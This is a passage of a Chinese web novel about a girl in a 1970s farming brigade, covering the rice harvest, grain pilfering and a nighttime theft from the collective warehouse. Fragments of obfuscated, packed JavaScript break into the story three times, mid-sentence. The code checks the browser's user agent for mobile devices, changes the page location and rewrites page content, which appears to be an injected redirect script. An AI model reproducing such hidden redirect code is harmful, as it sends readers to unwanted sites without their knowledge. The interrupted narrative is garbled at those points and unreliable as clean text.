很快五花肉炒土豆就做好了,五花肉炒得焦香,土豆片外焦里嫩,整个厨房都是香味,让江余食指大动,就着米饭把菜吃了一大半,没吃完是因为她吃不下了,土豆也挺饱腹的。 空间的保鲜功能挺好的,放在空间里的五花肉过了几天还和刚放进去的时候一样。夏天鸡蛋也放不来了多久,江余把那一篮子鸡蛋也放进空间里了。 江余打算把这块肉留着,田里的稻谷快熟了,最迟月底就要收割,收割完早稻马上就要种晚稻,抢收早稻和抢种晚稻就是双抢了,双抢可累了,得吃点肉补一补。 前几天跟江余同组的大娘才说过养鸡的事,这天下午下工,大队长就让社员去开会,说起了这个事。 “今天我去公社开会,有新的文件下来,内容是允许社员养殖家禽家畜……养殖的数量是有限制的,每户最多可以养两只,不管你是养鸡也好,养鸭也好,都只能养两只……” 听到可以养鸡养鸭,底下的社员们都可高兴了,没等江正峰说完,就在下面开始讨论起来,说着要去哪里捉两只鸡回来,大家都想养鸡,养鸭太麻烦了,而且鸭下蛋没有鸡勤快,不划算。 江正峰用力咳嗽了两声,“都安静听我说!” 经过自留地的事,江正峰说话比以前更管用了一些,他说完后,底下的声音都小了很多,大家也怕没听清楚又吃亏。 见社员们安静下来,江正峰才接着继续往下讲,直到江正峰讲完,宣布会议结束,社员们才又开始讨论起来。 江余也想弄两只母鸡回来养着,可她没门路,不知道哪里有母鸡卖,不对,是换,现在不能私下买卖了。 她混在人群中,竖起耳朵听大娘们说着她们知道的可以换到母鸡的渠道,大娘们说得含糊不清的,就说个模糊的地名,也不说是哪一家,估计是怕人知道,所以不明说。这些大娘居然都知道对方说的是谁,露出恍然大悟的表情,这可苦了江余,她连猜都猜不到,她是偷听的,还不好直接问。 又听到另外几位大娘讨论哪里能弄到便宜的母鸡,江余默默移动脚步,凑过去听,听完之后,江余打消了养两只母鸡的想法。 19. 第 19 章 一只能下蛋的母鸡要三块钱,现在不能用钱买,就用粮食布匹这些东西来换。现在大米在供销社的价格是一毛三分钱一斤,要二十三斤大米才能换一只母鸡。 这也太贵了! 江余家里的大米够换一只母鸡,可是换完母鸡她家里就没剩多少粮食了,养鸡下蛋是为了改善生活,她总不能为了养母鸡把自己给饿到了吧,这不是本末倒置吗? 就算用钱买,她的全部身家也只有两块五,买不起一只母鸡。 跟这些讨论着要去哪里弄母鸡的大娘们相比,江余实在是太穷了,她默默地退出了人群。 回到家,江余提着水桶去给菜地浇水,在江余的精心打理下,菜地的菜苗长得都很好,再过一段时间就能吃了。 田彩燕比她回来得还早,江余到自留地的时候,田彩燕已经在给菜地浇水了。江余跟她打了一声招呼,就开始干活。 田彩燕见四周没人,就问江余,“江余,你家要不要养鸡?要的话我顺便帮你带两只。” 江余笑了笑,“田婶子谢谢你的好意,不用了,我家暂时不养鸡。” 田彩燕疑惑,“养鸡又费不了什么粮食,平时就给鸡拌点糠吃就行了,等自留地里的菜长成了,还能把老了的菜叶子给鸡吃,你每天上山挖野菜的时候,顺便弄点草籽和虫子回来,鸡吃了很快就能下蛋了,这鸡蛋有营养,你太瘦了,得吃点鸡蛋补补。” 江余当然知道养鸡的好处,可是她囊中羞涩啊,她有些不好意思道:“一只母鸡太贵了,我买不起。” 这下田彩燕也有些尴尬了,她忘了考虑江余家的条件了,“不好意思啊江余,是田婶子没考虑周到。” “没关系,我知道田婶子你是为我着想。” 过了一会儿,田彩燕又道:“能下蛋的母鸡贵一些,那些刚孵出来不久的小鸡仔便宜,一斤大米能换三只,就是不容易养,而且要养四五个月才能下蛋,你要是想养的话,我可以帮你换几只回来。” 江余知道小鸡仔不好养活,她也没有什么经验,不过她想着要是多养几只,总有那么两三只能长大的吧。不就是两斤大米吗?一次抽奖的奖励而已,两天的公分而已,为了以后的鸡蛋,她换了! “好啊,田婶子,等晚点我给你拿两斤大米,麻烦你帮我换六只小鸡仔回来。” 田彩燕一口答应下来,“行,我一定给你挑六只好的。” 没过几天,田彩燕就趁着夜色提了一个竹编的笼子来到江余家,就着月光能看到里面装着六只毛茸茸的小鸡仔。 江余没想到田彩燕这么快就把小鸡仔弄来了,“田婶子你真厉害,这么快就弄到小鸡了。” 田彩燕:“我也是托熟人帮我弄来的,你拿个笼子来,我帮你把小鸡仔放进去。” 江余跑去放着柴火的屋子里拿竹编的笼子,这笼子她检查过了,放了这么久也没坏,还能用。 把小鸡仔腾出来后,田彩燕交代江余,“这几天先不要把它们放出来,先让它们适应一下。现在规定一家只能养两只鸡,你这些虽然是小鸡仔,但是数量也超了,要是被人看见了不好,你养的时候要小心一点,不要让它们出了大门被人看见。” 江余连忙点头表示自己记住了。 大队里的其他人看见了可能会睁一只眼闭一只眼,江余的邻居何大娘要是看见了,肯定要举报的,她看不得别人家好,特别是江余还和她有矛盾,她巴不得抓住江余的把柄呢。 江余把小鸡仔养在放柴火的屋子里,给笼子里放了水,又把野菜切碎放进去给小鸡吃,等明天她就去给小鸡们捉虫子。 六只小鸡仔在江余家适应良好,能吃能喝没生病,江余每天都会给它们捉虫子吃,盼望着它们快点长大。 田里的稻谷已经变成了金黄色,颗颗饱满的稻谷压弯了稻秆,已经到了收割的时候了。 这天一大早,所有社员都集中在晒谷场,听大队长分配任务,江余分配到的任务是捆稻谷,负责把社员割好的稻谷拢起来捆好,好让运稻谷的社员把稻谷运到晒谷场脱粒。 这活听起来简单,也要比她平时干的活要累,平时干活还能偶尔休息一下,现在不行了,前面割稻谷的社员不停下,她也不能停下,不然割好的稻谷放得满地都是,记分员肯定要说的。 江余运气不好,又跟何大娘分到了一组,何大娘是负责割稻谷的,她看见江余分到捆稻谷的活,就抱怨大队长分配不公平。 “我都一把年纪了,大队长还让我来割稻谷,我这腰弯一天哪里能顶得住啊!他就会偏袒自家人,凭什么让江余去捆稻谷啊,应该让我去才对,你们说我说的对不对?” 同组干活的社员没搭理她,谁不知道何大娘的力气大着呢,是打架的一把好手,大队里的大娘小媳妇们没几个是何大娘的对手。 不过何大娘有一句话还是说对了,大队长分配不公平,何大娘这么有劲的人,应该分配她去和那些壮汉一起运稻谷才对,而不是分来和他们一起割稻谷。何大娘干活就喜欢偷懒,她少干了,别人就要多干,大家都不是很乐意跟何大娘一组。 见旁边的人没搭话,何大娘不高兴了,小声骂道:“一个个跟哑巴一样,连句话都不说。” 旁边的赵老三不高兴了,你觉得大队长分配的活不公平,那你去找大队长啊,在这里发什么疯!本来干活就累,还莫名其妙被骂了,这谁能忍? “记分员,何大娘又偷懒不干活了,你快管管!” 记分员举着镰刀看过来,“何大娘,你再偷懒我可就要扣你工分了!” 何大娘连忙道:“我在割稻谷呢,没偷懒!”说完她马上弯下腰去开始割稻谷,记分员正盯着她呢,可不敢偷懒了。 何大娘干活老实了,嘴巴还不老实,她又小声骂旁边的赵老三,“多管闲事!一点也不像个男人,难怪都二十多岁了还没娶上媳妇!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959513|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没娶上媳妇可是赵老三的心病,何大娘这是在往他的心窝上戳刀子啊,赵老三哪里能忍,他又站起来大喊:“记分员,何大娘想把集体的稻谷偷回家,她的裤管里都是稻谷!” 这一声把大家的视线都吸引过来了,大家都看向何大娘的裤管,挽起来的那一截裤管鼓鼓囊囊的,一看就知道里面装满了东西。 何大娘连忙道:“哎呦,我说怎么感觉裤子一直往下掉,原来是割稻谷的时候,稻谷掉到裤管子里了。”她说着就要把裤管往下捋,打算销毁证据。 这稻谷掉到地上还要费劲去捡,记分员大喝一声,“何大娘你别乱动!” 他从田埂上拿了个簸箕,让何大娘把裤管里的稻谷倒出来,何大娘把裤管里藏着的稻谷倒出来后,记分员没动,指着何大娘上衣的口袋,“你衣服口袋里装的是什么?” 何大娘只能把口袋里的稻谷也掏出来。 记分员拿手掂一掂簸箕里的稻谷的重量,得有四五斤重。这才刚开始干一个多小时,何大娘就往自己的裤管和口袋里装了四五斤稻谷了! 要是她趁着上厕所的间隙回家把稻谷倒出来,回来又装两裤管子,这一天少说也得弄回家十几斤稻谷!看何大娘这么熟练,去年她肯定也这么做了,想到这里,记分员脸色都黑了。 他决定接下来要盯紧大队里的每一个人,绝对不能让他们像何大娘一样,把集体的粮食往家里搬! 记分员立即想了一个办法,“在收获粮食期间,社员们只要是离开地里,都要检查过衣服口袋和裤管才能离开,不止是下工的时候要检查,还有中途要去上厕所也要检查,免得有人和某些社员一样,把集体的粮食往家里搬。”说到某些社员的时候,他还瞪了一眼何大娘。 社员们不愿意了,“你说要检查就检查啊,凭什么!” 记分员板着一张脸,“这是规定!” “你只是一个记分员,又不是大队长,你说的话算什么规定!” “我现在就去找大队长,让他同意这个规定。”记分员转身就走。 没过多久,大队长就在地头上宣布了这个新的规定,还说谁要是反对这个规定,就是心里有鬼,想拿集体的粮食,不然为什么不让检查? 又有人道:“记分员是个男的,让他来检查女同志也不方便啊。” 大队长:“放心,我会再安排一位女同志来检查,这样就不会不方便了。”见社员们说不出什么来,大队长大手一挥,“好了,都干活去吧!” 偷藏稻谷的社员不止何大娘一个,只是没有她做得那么明显而已,这下好了,不管是拿得多还是拿得少,一律都不准再偷拿集体的粮食。 社员们都埋怨起何大娘来,何大娘还觉得自己冤枉呢,“都怪赵老三非要喊出来,不然记分员能知道这事吗!” 赵老三:“要不是你一次拿这么多,记分员会那么生气,一定要检查大家的口袋吗!” 20. 第 20 章 这年头大家的粮食不够吃,人人都会想方设法往家里弄粮食,割稻谷的时候都会藏一点在口袋里带回家,因为数量不多,所以大队长都是睁一只眼闭一只眼,当作不知道。 结果因为何大娘拿得太多,大家都不能拿了,拿走一粒稻谷都不行,大家对何大娘的意见很大,这可是损害了他们的利益啊,同组的社员都对何大娘怒目而视。有的社员连赵老三也怨上了,觉得要不是赵老三嚷嚷出来,就不会有这事。 这些对江余没有影响,她看完热闹后继续捆稻谷。 捆到何大娘割的稻谷时,何大娘转头看到江余狠狠地瞪了她一眼,都是因为江余这丫头,不然也不会有后面的事! 江余察觉到何大娘那带着恶意的目光,心里纳闷,她又怎么惹到何大娘了? 何大娘觉得江余真是个扫把星,跟她沾上的人都倒霉。要不是因为江余,她偷拿稻谷的事怎么会被发现。她还没出生她爸就被她克死了,要不是她妈改嫁了,估计也要被她克死,前几年她爷爷奶奶也没了,这不是扫把星是什么? 江家人觉得江余她妈跑了说出去不好听,就跟村里的人说江余她妈改嫁了,所以村里的人一致认为江余她妈是改嫁了,她改嫁了不能拿走江有林的钱,江有田和江有粮拿了江有林的钱就不奇怪了。 何大娘心里觉得江余是扫把星,嘴上也说出来了。 江余幽幽道:“何大娘,又不是我让你偷拿集体的稻谷的,你怎么能把这事怪到我身上来?你还宣传封建迷信,这可是不对的,要是我真有你说的那么厉害,你欺负我那么多次,你怎么没出事?” 怎么没出事?何大娘想到她上次打江余家自留地的主意,就莫名其妙地摔了一跤,这次想和江余换个活干,她偷拿稻谷的事就被发现了,还被大队的人恨上了。 何大娘觉得背后有些发凉,她再看江余,觉得这丫头怪得很。 江余又道:“何大娘,你偷拿稻谷的事本来就不对,你这是损害了集体的利益,你拿了这么多稻谷,到时候分给其他社员的稻谷就少了,你不觉得愧对社员们就算了,怎么还怪别人呢?” 大家只顾着心疼以后不能偷拿稻谷了,没想到这个,听江余这么一说才反应过来,何大娘一次就能在身上装四五斤稻谷,她还经常去上厕所,本来以为她是借着上厕所去偷懒,没想到上厕所只是借口,她是要把偷藏的稻谷弄回家! 这么算来,何大娘一天能往家里弄十几二十斤稻谷,割稻谷怎么也要割好几天呢,等田里的稻谷全部割完,她至少能弄回家上百斤稻谷! 他们能分到的稻谷就少了一百多斤,何大娘这是在占他们的便宜啊,社员们对何大娘更恨了。 何大娘察觉到社员们看向她的目光都带着怨,她心里更恨江余了。 刚刚她觉得江余是扫把星,沾不得,可她又仔细想了想,觉得江余这个扫把星应该只克自家人,她欺负了江余那么久都没事,摔倒那一次应该是她没站稳,这一次是因为赵老三,不是江余的原因,她这样说服自己。 何大娘看到地上没绑起来的稻谷,觉得抓到了江余偷懒的证据,她叉着腰,“江余,你干活怎么这么磨蹭,这么多稻谷都没捆呢,你要是干不了这活,就去跟大队长说,让他把我的活和你换一换。” 江余在心里翻了个白眼,嘴上说:“我看何大娘你割得慢,就先去捆别人割的稻谷了,何大娘你要是割得快,我肯定先来捆你割的稻谷。” 社员们现在对何大娘的意见很大,听江余说何大娘割稻谷慢,看过去果然看到何大娘的进度要比其他人落后,见何大娘站着不干活,又在偷懒,有人立即不满地开口,“何大娘,你别又想着偷懒,拖累我们组的进度,你还不快干活,你干不完的活难道要指望我们帮你干?” “凭什么要我们帮她干,她要是干不完,就告诉记分员,扣她的工分。” 何大娘现在就怕扣工分,她不能偷拿粮食了,家里的粮食就少了,要是再扣工分,分到的粮食就更少了,老头子肯定要生气的。担心被扣工分,何大娘只能老老实实干活,不敢再偷懒。 何大娘表面上在老实干活,心里却想着等分粮后怎么从江余那里占便宜,江余最近的变化有点大,变得不好欺负了,她得想个办法才行。 江余能察觉到何大娘时不时投来的不怀好意的目光,她该干什么干什么,根本没当一回事,不管何大娘想做些什么,她都不会让何大娘得逞的。 忙活了七八天,总算是把田里的稻谷都收割完了,几天下来,社员们都累得瘦了一圈。 江余还好,她每天早上都会给自己煮一个鸡蛋,中午和晚上还有肉吃,之前她去供销社买的水果硬糖还没吃完,放在空间里,上工的时候要是太累了就吃一颗。 稻谷收割完后让两个社员负责看天气晒收稻谷,为了确保晚稻的收成,其他社员马不停蹄地开始抢种晚稻。 收获后的粮食都放在大队的仓库里,现在粮食短缺,难免有人会铤而走险,即使放在仓库里上了锁也担心有人来偷,需要人看守。 社员们白天忙着插秧,晚上还要轮流看守仓库就太辛苦了,所以就由负责晒收稻谷的社员看守仓库。能分到负责晒收稻谷的社员年纪都不小了,他们年纪大有经验,会看天气,能及时晒收稻谷。 只是他们不如年轻人强壮,要是真有人来偷稻谷,他们不一定能打得过,不过这也是没办法的,等种完晚稻,就能腾出壮劳力了。 江余今天晚上做的菜好像没做好,大半夜她肚子痛,拿着手电筒跑出来上厕所,这厕所建在外面就是不方便,上个厕所还得走这么远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959514|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江余家的厕所建在江余家和何大娘家中间,在这里是可以听到两家的一些动静的,江余听到“嘎吱”一声,是陈家的大门开了,她心想陈家今晚也吃坏肚子了?大半夜出来上厕所。 陈家的大门关上后,过了一会儿,江余也没听到脚步声,陈家的厕所跟江余家的厕所离得不远,要是有人来上厕所,江余肯定能听到。 不是上厕所,那大晚上的出门要干嘛?总觉得不是什么好事。 江余上完厕所出来,发现不远处有几个人影,江余的视力挺好的,借着月光辨认了一下,这不是陈老头和他的两个儿子吗?这三个人大晚上的不睡觉,鬼鬼祟祟的要做什么?江余没开手电筒,悄悄地跟了上去。 这三个人走得很慢,江余很快就跟上了,走近了她才发现他们走得这么慢的原因,陈老头拎着一盏煤油灯,今晚有风,风还不小,几个人小心翼翼地护着煤油灯不被风吹灭。 江余抬头看了一眼,今晚的星光很亮,看路是没问题的,她都能看到地上的影子了,她拿着手电筒是因为厕所里黑,这几个人又不是看不见路,提着煤油灯没必要吧。就算真的需要用灯,那他们可以带着火柴,等到了地方再把灯点亮啊。 跟了一会儿,发现这几个人走的方向是往晒谷场去的,放着粮食的仓库就在晒谷场旁边。 几个人最后的目的地果然是仓库,他们莫非是想偷粮食? 江余躲在草垛后面不动,偷粮食这种事,总得人赃并获才好,她要是现在出声,不说她打不打得过这几个人,他们完全可以否认自己是来偷粮食的,说自己是大晚上睡不着,担心仓库的粮食,所以来看看。 万一他们反过来诬陷她是来偷粮食的,那可就解释不清了,大队里的人都知道她家没有粮食,她有来偷粮食的动机。 陈老头和他的两个儿子蹑手蹑脚走到仓库大门前,几个人提着煤油灯围在门口,难道是在撬锁?过了一会儿,江余听到了“咔哒”地一声,就看见陈老头把仓库大门推开了,借着煤油灯的灯光,江余看到陈老头手里拿着一把钥匙,他们居然有仓库的钥匙! 看仓库的老王和老李呢?这睡得也太死了吧,有人打开仓库的大门都没听见。 很快,陈老头和他的两个儿子就一人背着一袋粮食从仓库里出来了,等他们小心翼翼地把仓库大门锁好,背起粮食打算回家,江余从地上捡了几颗石子,对着这几个人的膝盖打出去。 “啪”地一声,是煤油灯摔在地上的声音,还有几声重物砸在地面上的闷响,是粮食砸落地上的声音,陈家的几个人一个接一个摔倒在地,“哎哟哎呦”地叫出声。 江余把手指放进嘴里吹了一个响亮的口哨,惊醒了住得近的社员,接着粗着声音大喊:“有人偷粮食啦!快出来捉贼啊!有人偷粮食啦!快出来捉贼啊!” 21. 第 21 章 累了一天的社员被一声响亮的口哨声惊醒,都忍不住想骂人,接着就听到有人偷粮食,顿时一骨碌从床上爬起来去捉贼,连鞋都顾不上穿,抓起锄头就跑出去。 听到喊捉贼的陈家父子几个慌得不行,连粮食都不要了,爬起来就想跑。 江余哪能让他们如愿,又捡了很多石子朝他们的膝盖打出去,不管打不打得中,扔就是了。 江余的石子乱砸,陈家父子几个手忙脚乱慌得不行,互相搀扶着,一个扯一个,陈家老大吓得腿都软了,没站稳一屁股坐下去,他一只手扯着陈老头,一只手拉着陈老二,他这一摔,把另外两个人也扯摔了,陈老头垫底,两兄弟都砸在陈老头身上,陈老头惨叫一声,“我的腿!我的腿好疼!” 叫得这么惨,该不会是几个人慌乱间把陈老头的腿给压断了吧?陈老头有点倒霉啊。 接着又传来两声响亮的巴掌声,陈老头怒声呵斥,“没用的东西,慌什么?还不快把我扶起来!” 陈家的两个儿子倒是想扶陈老头起来,但是他们站起来就觉得膝盖一疼,腿一软,人就又摔在地上了,期间他们又摔了好多次,还有几次砸到陈老头受伤的腿上了,疼得陈老头嗷嗷叫。 江余可不会同情陈老头,没有陈老头的允许,何大娘能总是来欺负原主想办法要原主的粮食吗?何大娘从原主那里拿走的粮食加起来都有几十斤了,这些粮食留给原主吃,她也不至于饿死。 平时陈家人占大队里的人的便宜还不够,现在居然要来占集体的便宜,这可是犯法的事,少说也得送他们去劳动改造几年。 还好她发现了这几个人的行径,不然就被这几个人给得逞了。 社员们挥着锄头棍子跑到晒谷场,看到的就是陈家父子几个摔在地上,旁边还有几袋粮食的场景。 有人来了,江余就没再扔石子,她躲在草垛后面也没出去,免得惹人怀疑。 陈家父子几个终于能爬起来了,陈老头腿受伤了跑不动,陈家的两个儿子丢下陈老头拔腿就跑,只是他们的腿还是软的,怎么跑得过来捉贼的社员们,很快就被拿着锄头和棍子的社员们给围住了。 这下可是人赃并获了,陈家父子几个想狡辩都狡辩不了。 把陈家父子几个围住后,有社员扯着嗓子跑去喊大队的人来晒谷场,偷粮食可是大事,得把全大队的人都叫来才行。 看到邻居田婶子也来了,江余才从草垛后面出来,站到田婶子身后,她问了一句,“田婶子,真的有人偷粮食啊?” 田彩燕转头看是江余,以为她来得晚没能挤进去看,就让出一点位置给江余,“当然是真的,你看,他们旁边还有被偷的粮食呢,还好他们被抓住了,不然我们不知道要少分多少粮食。” 周围的社员也十分庆幸,同时痛骂这偷粮食的贼。陈家父子几个被大队的壮汉围着,防止他们偷跑,外层围观的社员一开始看不清楚偷粮食的是谁,直到有人说了是陈家父子,大家还有些不敢相信。 “以前我还觉得陈老头命不好,摊上何大娘这个媳妇,何大娘惹事还要陈老头出面道歉,谁知道这陈老头也不是个好的,都敢来偷粮食了。” “陈老头要是真的想管何大娘,何大娘还能不听他的?我看何大娘做的事都是陈老头在背后指使的。” “这偷粮食的贼都抓住了,看仓库的老王和老李怎么不见人?” 直到大队长和其他住得远一些的社员来了之后,看仓库的老王和老李才姗姗来迟。 大队长江正峰气得不行,他把看仓库的重任交给老王和老李是信任他们,结果这两个人就是这样看仓库的,被人把仓库搬空了都不知道。 “老王,老李,我让你们看仓库,你们两个干嘛去了!” 老王和老李支支吾吾说不出来,他们觉得社员们白天干活累个半死,晚上肯定睡个半死,不可能来偷粮食,他们两个就商量着轮流回家睡觉,今晚轮到老王看仓库,他觉得前几天没人来,今晚肯定也平安无事,在仓库旁边睡觉哪有回家睡觉舒服啊,就想着回家眯一会儿,等天快亮了再回来。 谁知道今晚偏偏就出事了呢。 见老王和老李不说话,江正峰更气了,“难道你们和陈家父子三个是同谋?是故意走开,好让他们来偷粮食的?” 老王和老李连忙否认,“不是!不是!我们和他们不是同谋,我们就是想着不会有人来偷粮食,就想偷个懒。” 有社员眼尖看到陈老头身上掉出来的钥匙,叫出来,“那不是仓库的钥匙吗?怎么在陈老头的身上?” 众人看过去,那钥匙上面挂着一根褪色的红绳,白天的时候还在老王的脖子上挂着呢,众人怀疑的目光看向老王。 老王一看那钥匙就慌了,他连忙摸摸脖子,没有钥匙,掏掏身上的口袋,也没有钥匙!他想起来傍晚的时候陈老头来找过他,这钥匙肯定是陈老头从他身上偷走的! 老王连忙解释道:“这钥匙不是我给陈老头的,是陈老头从我身上偷走的,他傍晚的时候来找过我,很多人都看见了。” 这时有人出来为老王作证,说他看见了陈老头去找老王,接着又有几个人也站出来说看见了,老王这才松了一口气。 陈老头偷粮食被抓住了,他不觉得自己有错,反而怪上了老王和老李,觉得要不是他们想要偷懒,他们偷懒的事还被他知道了,他怎么可能会想要偷粮食呢,这都怪老王和老李。 凭什么他要倒霉了,这两个人可以逃过一劫,最好大家一起倒霉。 陈老头喊道:“这钥匙就是老王给我的,我们都商量好了,偷了粮食我们三家平分。要不是他们两个找到我,我根本不可能会偷粮食,大队里谁不知道我们家条件好,哪里犯得着来偷粮食。大队长,我只是被老王和老李哄骗了,我本来不想偷粮食的,要抓就抓他们两个,我是无辜的啊!” 老王和老李顿时慌了,连忙辩解“大队长,陈老头说谎!他自己偷粮食被抓住了就想拉我们下水,他这个人可坏了!大队长,你千万不要相信他的鬼话!” 陈老头又道:“大队长,我说的可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959515|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是实话啊,他们两个守着仓库不好偷拿粮食,怕被人怀疑,就找上了我,让我来做这个坏人,不然我怎么会有钥匙呢,这钥匙平时可是挂在老王的脖子上的,我怎么可能拿得到。” 社员们觉得陈老头说得很合理,看向老王和老李的目光满是怀疑,老王和老李简直是百口莫辩,他们看陈老头跟看仇人似的,恨不得冲过去揍陈老头一顿,他们也真的这么做了,冲上去对着陈老头就是一顿拳打脚踢。 二人年纪是不小了,但平时也是做惯了农活的,他们的力气比不上年轻人,要揍一个陈老头还是足够了的,陈老头的腿还受了伤,更加不是老王和老李的对手。 至于陈老头的两个儿子为什么不来帮忙,老王和老李也有儿子,他们听到陈老头污蔑自己的父亲,都气到不行,看到老王和老李冲过去揍陈老头,他们也冲上去揍陈老头的两个儿子,陈家的两个儿子也在挨打呢。 何大娘本来藏在人群后面,她看见陈老头被打的时候还能忍住不动,看到自己的儿子被打可就忍不住了,立即拉着两个儿媳冲出来帮自己的儿子,王家和李家的女人当然不能看着自己的男人被打,也加入了战斗。 这场面真是十分混乱,社员们怕自己被误伤,都站得远远的。 那边打成一团,这边陈老头被老王和老李压着打,大家都能听到陈老头时不时传出来的惨叫声。 “快把他们拉开,可别闹出人命了!”江正峰连忙叫上几个壮汉上去把人拉开,主要是把老王和老李拉开,实在是陈老头叫得太惨了,江正峰担心他被打死了。 没想到挨了一顿打的陈老头还有力气叫唤,“大队长,你可要为我做主啊,他们看我把他们给供出来了,就想对我下死手,这是要杀人灭口啊!” 看来陈老头也就是叫得惨而已,应该没被打坏,江正峰松了一口气。 陈老头这话一出,社员们看老王和老李的眼神都不对了。 老王和老李真是恨死陈老头了,恨不得再冲上去揍他一顿,可惜被人死死拉住了,动不了。 江正峰只是一个大队长,又不是查案的公安,他也不管他们谁说的是真话,谁说的是假话,等天亮了就把人送到公安局去,公安肯定能查清楚的。 听到要把人送到公安局去,社员们心里都有些发怵,“大队长,送公安就不必了吧,要是传出去,要影响我们大队的名声的。” 陈家人也不希望送公安,连忙附和,“对啊,这是我们大队自己的事,我们自己解决就好了,没必要送公安。” 江正峰一脸严肃,“偷盗集体粮食可是触犯了法律的事,是十分严重的,要被送去劳动改造的,这事必须交由公安处理!” 他告诫社员们,“偷集体的粮食是犯法的,要被送去劳动改造的,你们千万不要跟他们一样,走上违法犯罪的道路!” 江正峰点了几个社员明天跟他一起把人看好,明天送去公安局,至于晒收粮食和看仓库的活,他又重新安排了两个社员干,最后让其他社员回去睡觉,明天还要干活呢。 22. 第 22 章 最近太累了,江余都忘记抽奖了,这几天攒了三次抽奖机会,看看能抽出什么好东西。 “恭喜获得消暑礼包一个!” “恭喜获得五花肉一斤!” “恭喜获得西红柿两斤!” 消暑礼包?是什么东西?西瓜?冰棍?还是电风扇?电风扇应该不可能,今天又不是什么节假日,也不是她的生日,系统不可能给她这个,风扇可是这个时代的奢侈品。 出现在江余面前的是一个泡沫箱,江余打开泡沫箱,就感受到一股凉气扑面而来,里面居然是雪糕和冰棍!都是后世市面上常见的雪糕和冰棍,很多都是江余喜欢吃的,她觉得系统实在是太贴心了! 她的空间可以保鲜,也可以保温,江余试过将刚烧开的开水放进空间,一天过后水还是烫的,这些雪糕和冰棍放进空间保存,就不用担心它们会化掉了。 今天还抽到了肉!正好生日的时候得的肉快吃完了,这一斤肉来得真及时,西红柿也很好,可以做西红柿炒蛋,江余把肉和西红柿都放进空间里,西红柿也很容易坏,放在空间里保存比较好。 早上煮的是粥,还煮了一个鸡蛋,早饭是白粥配咸菜,加上一个鸡蛋,咸菜是之前抽奖得的,江余用五花肉炒出来的猪油炒过后,放进空间里保存,喝粥的时候就拿出来吃。 吃完早饭就要去上工了,江余分到的活是插秧,干这活得一直弯腰,干一天下来,感觉腰都不是自己的了。 昨晚陈家父子偷粮食被当场捉住,今天何大娘不再像之前那样蹦跶了,整个人都有些颓丧,也不说话。 她不说话,其他社员有话说,“何大娘,你不是总是说你家的条件好吗?怎么你男人和你儿子还要去偷粮食?” “收割一次稻谷她要往家里偷拿上百斤,一年收割两次稻谷,她就能拿回家两百多斤,她家的条件当然好了,现在不能偷拿了,就少了两百斤的粮食,家里粮食不够吃了,不就得偷粮食吗。” 有人幸灾乐祸,“听大队长说偷粮食是要被送去劳动改造的吧,何大娘,你家一下子少了三个劳动力,往后的日子可就不好过了啊。” 何大娘知道偷粮食的事败露后,大队里的人都看不起他们家,现在老头子和她的两个儿子还不知道怎么样了,万一要是……以后有什么事还得靠大队的人帮忙,她不敢再像以前那样去得罪别人,谁知道她不去惹人嫌,别人却要来戳她的痛处,她实在是忍不住了。 “你们胡说什么呢!我家老头子和我儿子是冤枉的,我家老头子说了,是老王和老李指使他们做的,他们肯定会被放回来的!” 陈家父子几个没被放回来,放回来的是老王和老李。老王和老李虽然没有伙同陈家父子偷盗粮食,但是他们没能看好仓库,他们也有错,两人都被大队长扣了工分,晒收粮食和看仓库的活以后是不可能再交给他们了,这两家的风评在大队里也是一落千丈。 看到老王和老李被放回来,陈家父子三个却没被放回来,原本心存侥幸的何大娘和她的两个儿媳妇彻底慌了,连忙去找大队长求情。 江正峰:“这事你们来找我也没用,他们都在公安局呢,这事也归公安局管。” 何大娘又带着两个儿媳妇奔着公安局去。 不知道陈家人是怎么商量的,陈老头把主要责任揽在了自己的身上,最后陈老头判了三年劳动改造,陈家的两个儿子都判了一年劳动改造,陈家的两个儿子是处理结果出来后就被送走了,陈老头伤了腿,得在医院养一段时间才能送去劳动改造,当然,医药费由陈家承担。 陈老头要在县医院养伤,得有个人去照顾,这个人只能是何大娘了,总不能让儿媳妇去照顾腿受伤不方便行动的公公吧。 何大娘不太乐意去照顾陈老头,她怨陈老头去偷粮把她的两个儿子给害了,陈老头住院还要花钱,她可心痛那钱了,还有就是去照顾陈老头就不能下地挣工分了。 虽然何大娘下地干活总是想方设法偷懒,但是上工她是一天都不落下的,只要她去上工了就有工分,工分就是粮食啊,本来家里就少了三个壮劳力,照顾陈老头还要耽误她上工,下半年不知道要少分多少粮食。 有了偷粮食的事,大队长江正峰对仓库里的粮食看得很紧,双抢结束后,上面通知可以开始交粮了,江正峰马上就组织社员把要交的粮食运到县城粮站,就怕再出现有人偷粮食的事。 交完粮食就可以给社员们分粮了。 